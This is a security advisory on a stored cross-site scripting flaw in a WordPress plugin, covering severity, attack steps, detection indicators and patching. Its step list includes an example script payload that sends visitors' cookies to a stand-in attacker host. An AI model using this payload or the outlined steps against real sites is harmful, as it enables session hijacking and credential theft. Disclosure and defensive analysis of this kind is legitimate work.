CVE-2025-68532: 
WordPress vulnerability analysis and mitigation

CVE-2025-68532 is a Stored Cross-Site Scripting (XSS) vulnerability in the ModelTheme Addons for WPBakery and Elementor WordPress plugin. It affects all versions of the plugin prior to 1.5.6 and was reported by researcher Phat RiO on November 17, 2025, with public disclosure on December 17, 2025. The CVE was published on December 24, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically the stored variant. Exploitation requires a low-privileged authenticated user (Contributor or Developer role) to inject malicious scripts through plugin input fields that are not properly sanitized or escaped before being stored and rendered in web pages. Successful exploitation also requires a privileged user to interact with the affected content (e.g., visit a crafted page), satisfying the user interaction requirement. The vulnerability is network-accessible with low attack complexity (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which are then executed in the browsers of visitors or administrators who view the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The changed scope in the CVSS vector indicates that the impact extends beyond the plugin itself to the broader WordPress environment and its users (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-68532. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class can be used in mass-exploit campaigns targeting WordPress sites at scale, though this specific issue is assessed as low priority with unlikely exploitation (Patchstack).

1. Reconnaissance: Identify WordPress sites running the ModelTheme Addons for WPBakery and Elementor plugin at a version below 1.5.6, using tools like WPScan or by inspecting plugin metadata in publicly accessible WordPress installations.
2. Obtain low-privileged access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
3. Inject malicious payload: Using the authenticated session, navigate to a plugin widget or shortcode input field that is vulnerable to stored XSS and insert a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Persist the payload: Save or publish the content containing the injected script, causing it to be stored in the WordPress database.
5. Trigger execution: Wait for a privileged user (e.g., administrator) to visit the page or post containing the malicious content, causing the script to execute in their browser and potentially stealing session cookies or performing unauthorized actions (Patchstack).

• Logs: WordPress access logs showing authenticated POST requests from Contributor/Developer accounts to plugin-related admin endpoints or page/post editors containing suspicious script tags or encoded JavaScript.
• Database: WordPress wp_posts or wp_postmeta tables containing entries with embedded <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads within plugin shortcode attributes.
• Network: Outbound HTTP requests from site visitors' browsers to unknown external domains shortly after visiting pages containing ModelTheme plugin widgets, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to plugin files or theme files that may indicate follow-on compromise after successful XSS-based session hijacking.

The vendor has released version 1.5.6 of the ModelTheme Addons for WPBakery and Elementor plugin, which patches this vulnerability. Site administrators should update the plugin to version 1.5.6 or later immediately via the WordPress admin dashboard or by downloading the updated plugin from the WordPress plugin repository. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard. If an immediate update is not possible, restricting Contributor and Developer role access to plugin content creation features can reduce exposure (Patchstack).
